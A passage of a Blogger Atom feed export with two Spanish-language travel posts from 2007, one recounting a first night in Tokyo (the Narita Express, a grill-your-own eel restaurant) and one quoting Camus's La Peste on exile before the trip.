carteles iluminados, que se puede apreciar en peliculas como "Lost in Translation") y es realmente muy lindo.&lt;br /&gt;  Gracias a nuestras grandes habilidades como entendidos de culturas exoticas, pudimos decifrar la forma de tomarnos el "Narita Express", tren bala, que nos trajo en 1 hora reloj hasta esta hermosa ciudad. &lt;br /&gt;  A la salida, ya en plena noche, las luces de las pantallas y el J-Pop -Una suerte de sonido electronico que recuerda las viejas epocas del Gameboy y el Family Game- nos iluminaron el camino hasta nuestros queridos aposentos.&lt;br /&gt;  A la noche, salimos en busca de nuestro real destino -La comida-. Luego de utilizar todo nuestro intelecto para entender cual de las miles de pequenas puertitas de restaurant servia sushi, terminamos en uno... que obviamente, no servia sushi.&lt;br /&gt;  Pero impulsados por esa extrana picazon que genera la curiosidad, nos quedamos. El mozo era de por mas, confianzudo, y pese a que se ponia muchisimo esfuerzo de las dos partes, fue casi imposible entablar conversacion -Una carta importante para jugar en las relaciones internacionales, es siempre nombrar al referente: Maradona, o, aunque no lo crean, Lionel Messi es la nueva incorporacion para ubicar geograficamente nuestro pais en el globo-.&lt;br /&gt;  El restaurant era muy chiquito y su especialidad era comida 'asada' -Si, los argentinos terminaron comiendo asado-, pero con la pecularidad, que te traian una pequena parrilita Zen con carbon en forma de hielo rolito, en la cual vos te cocinabas tu propia comida, y luego la sazonabas con salsa de soja, Pasta Miso -a.k.a. Pastita dulzona- y Wasabi -Rabanito picante-. &lt;br /&gt;  Nuestra eleccion para la parrilla, recomendada en parte por nuestro nuevo amigo-mozo, fue un pescado muy sabroso llamado Hakko, Unagi -un tipo de anguila, que venia pinchado en un palito de brochet 'yakitori'- y otro tipo de anguila -o el mismo, vaya uno a saber- llamado Anago -Que fue lo mas rico que probamos, una delicia-.&lt;br /&gt; Para los retractores de la barba de nico, nuestro nuevo amigo-mozo, nos dijo que le quedaba bien.&lt;br /&gt;&lt;br /&gt; Ya fuera del restaurant, dimos una vuelta por el barrio, nos pasemos por mutiples callejones y callecitas, nos enteramos de las ultimas tendencias en moda Japonesa -Shortcitos infimos a 10 grados de temperatura ambiente para la mujer, y cortes pelos salvajes para los hombres-.&lt;br /&gt;  Aqui llegamos al final de esta primera parte, el internet anda medio lento por que estamos colgados de un vecino -El hotel tiene internet, pero por cable. Crease o no, en el pais donde el inodoro calienta la tabla automaticamente, el internet es por cable de red-.&lt;br /&gt;&lt;br /&gt;Los queremos mucho, y hasta pronto&lt;br /&gt;&lt;br /&gt;Domo Arigato Gozaimasu,&lt;br /&gt;Cari-San y Nico-San&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6583006355693901620-385326485135551026?l=eticanicomana.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://eticanicomana.blogspot.com/feeds/385326485135551026/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6583006355693901620&amp;postID=385326485135551026' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6583006355693901620/posts/default/385326485135551026'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6583006355693901620/posts/default/385326485135551026'/><link rel='alternate' type='text/html' href='http://eticanicomana.blogspot.com/2007/11/kore-wa-nan-des-ka.html' title='Kore wa nan des ka?'/><author><name>Nico Waisman</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_aUReV5sSeqk/SK8WvUJkBdI/AAAAAAAADD4/PGa-HWl7rJw/S220/DSC00333.JPG'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6583006355693901620.post-6382222411191458760</id><published>2007-11-24T03:13:00.000-08:00</published><updated>2007-11-24T03:46:26.862-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='partida'/><category scheme='http://www.blogger.com/atom/ns#' term='exilio'/><category scheme='http://www.blogger.com/atom/ns#' term='tokyo'/><title type='text'>Sobre el Exilio</title><content type='html'>&lt;div style="text-align: justify;"&gt;&lt;span style="font-family:georgia;"&gt;Buenos Aires,&lt;br /&gt; Por 15 dias, partimos con Cari para Tokyo. Gambatte!&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;div style="text-align: justify;"&gt;&lt;span style="font-family: georgia;"&gt;"El sufrimiento profundo que experimentaba era el de todos los prisioneros y el de todos los exiliados, el sufrimiento de vivir con un recuerdo inutil. Ese pasado mismo en el que pensaban continuamente solo tenia el sabor de la nostalgia. Hubieran querido poder anadirle todo lo que sentian no haber hecho cuando podian hacerlo, con aquel o aquella que esperaban, e igualmente mezclaban a tods las circunstancias relativamente dichosas de sus vidas de prisioneros la imagen del ausente, no pudiendo satisfacerse con lo que en la realidad vivian. Impacientados por el presente, enemigos del pasado y privados del porvenir, eramos semejantes a aquellos que la justicia o el odio de los hombres tienen entre rejas. Al fin, el unico medio de escapar a este insoportable vagar, era hacer marchar los trenes con la imaginacion y llenar las horas con las vibraciones de un timbre que, sin embargo, permanecia obstinadamente silencioso"&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: right;"&gt;- Albert Camus, La Peste&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6583006355693901620-6382222411191458760?l=eticanicomana.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://eticanicomana.blogspot.com/feeds/6382222411191458760/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6583006355693901620&amp;postID=6382222411191458760' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6583006355693901620/posts/default/6382222411191458760'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6583006355693901620/posts/default/6382222411191458760'/><link rel='alternate' type='text/html' href='http://eticanicomana.blogspot.com/2007/11/sobre-el-exilio.html' title='Sobre el Exilio'/><author><name>Nico Waisman</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_aUReV5sSeqk/SK8WvUJkBdI/AAAAAAAADD4/PGa-HWl7rJw/S220/DSC00333.JPG'/></author><thr:total>0</thr:total></entry></feed>
